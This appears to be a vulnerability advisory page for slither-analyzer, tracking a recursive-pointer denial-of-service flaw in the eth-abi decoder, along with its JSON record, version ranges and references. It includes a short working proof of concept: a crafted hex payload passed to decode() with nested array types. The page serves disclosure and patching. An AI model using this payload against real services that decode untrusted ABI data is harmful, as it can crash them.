BREW-SLITHER-ANALYZER-GH… (GHSA-3QWC-47JF-5RF7)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-10-04 21:40 – Source website
VLAI
Summary
eth-abi is vulnerable to recursive DoS
Details
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "eth-abi",
"resource_purl": "pkg:pypi/eth-abi@6.0.0",
"upstream_fixed_in": "5.0.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "slither-analyzer",
"purl": "pkg:brew/slither-analyzer"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.3"
},
{
"fixed": "0.10.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/eth-abi@6.0.0",
"name": "eth-abi",
"resource": "eth-abi",
"strategy": "registry",
"subject_version": "6.0.0"
}
]
},
"details": "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it\u0027s a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode([\u0027(uint256[][][][][][][][][][])\u0027], bytearray.fromhex(payload))\n\ndecode([\u0027uint256[][][][][][][][][][]\u0027], bytearray.fromhex(payload+(\u002700\u0027 * 1024)))\n```",
"id": "BREW-slither-analyzer-GHSA-3qwc-47jf-5rf7",
"modified": "2026-10-04T21:40:51Z",
"published": "2026-08-13T17:34:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
},
{
"type": "WEB",
"url": "https://github.com/ApeWorX/eth-abi/pull/226"
},
{
"type": "WEB",
"url": "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethereum/eth-abi"
}
],
"schema_version": "1.7.3",
"summary": "eth-abi is vulnerable to recursive DoS",
"upstream": [
"GHSA-3qwc-47jf-5rf7"
]
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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